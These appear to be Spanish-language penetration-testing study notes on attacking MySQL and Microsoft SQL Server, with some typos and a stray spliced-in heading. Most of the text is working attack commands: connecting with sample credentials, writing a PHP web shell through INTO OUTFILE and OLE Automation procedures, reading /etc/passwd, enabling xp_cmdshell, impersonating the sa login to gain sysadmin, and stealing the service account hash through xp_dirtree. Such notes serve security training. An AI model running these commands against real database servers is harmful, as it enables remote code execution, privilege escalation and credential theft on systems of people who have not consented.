TIPOS DE AUTENTICACION:
Windows authentication mode: este es valor predeterminado, a menudo denoinado seguridad integrada por que el modelo de seguridad de SQL server esta estrechamente integrado con Active Directory. Se vonfia en las cuentas especificas de usuario y grupo de windows para iniciar sesion en SQL serverMixed Mode :
• Windows Event Logs & Finding EvilConexion:
bash: mysql -u user -pPass -h {ip}
cmd: sqlcmd -S SRVMSSQL -U user -P pass -y 30 -Y 30
-y -Y SQLCMDMAXVARTYPEWIDTH SQLCMDMAXFIXEDTYPEWIDTH : salida mas atractivabash: sqh -S ip -U user -P 'pass' -h
bash: [mssqlclient.py](<http://mssqlclient.py>) -p puerto user@ip
bash: [mssqlclient.py](<http://mssqlclient.py>) -p puerto user@ip -windows-auth : autenticacion de windows
Conexion usando autenticacion de windows:
sqsh -S 10.129.203.7 -U .\\\\julio -P 'MyPassword!' -h
SELECT "<?php echo shell_exec(**$**_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';select LOAD_FILE("/etc/passwd");master: informmacion para una instancia de sql server
msdb: utulilizado por sql aserver agent
model: base de datos plantilla
resource: solo lectura mantiene los objetos del sistema visibles en cada base de datos del servidor en el esquema sys
tempdb: objetos temporales para consultas sql
Comandos:
SELECT name FROM master.dbo.sysdatabases
SELECT table_name FROM {database}.INFORMATION_SCHEMA.TABLES
Ejecucio de comandos:
xp_cmdshell:
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
Escritura de archivos:
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\\inetpub\\wwwroot\\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
Hacersee pasar por un usuario existente:
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
Captura de MSSQL service hash:
Podremos robar el hash de la cuenta de servicio MSSQL usando los procedimientos almacenados xp_subdiurs o xp_dirtree que usan el protocolo SMB para recuperar una lista de directorios secundaris en un directrio principal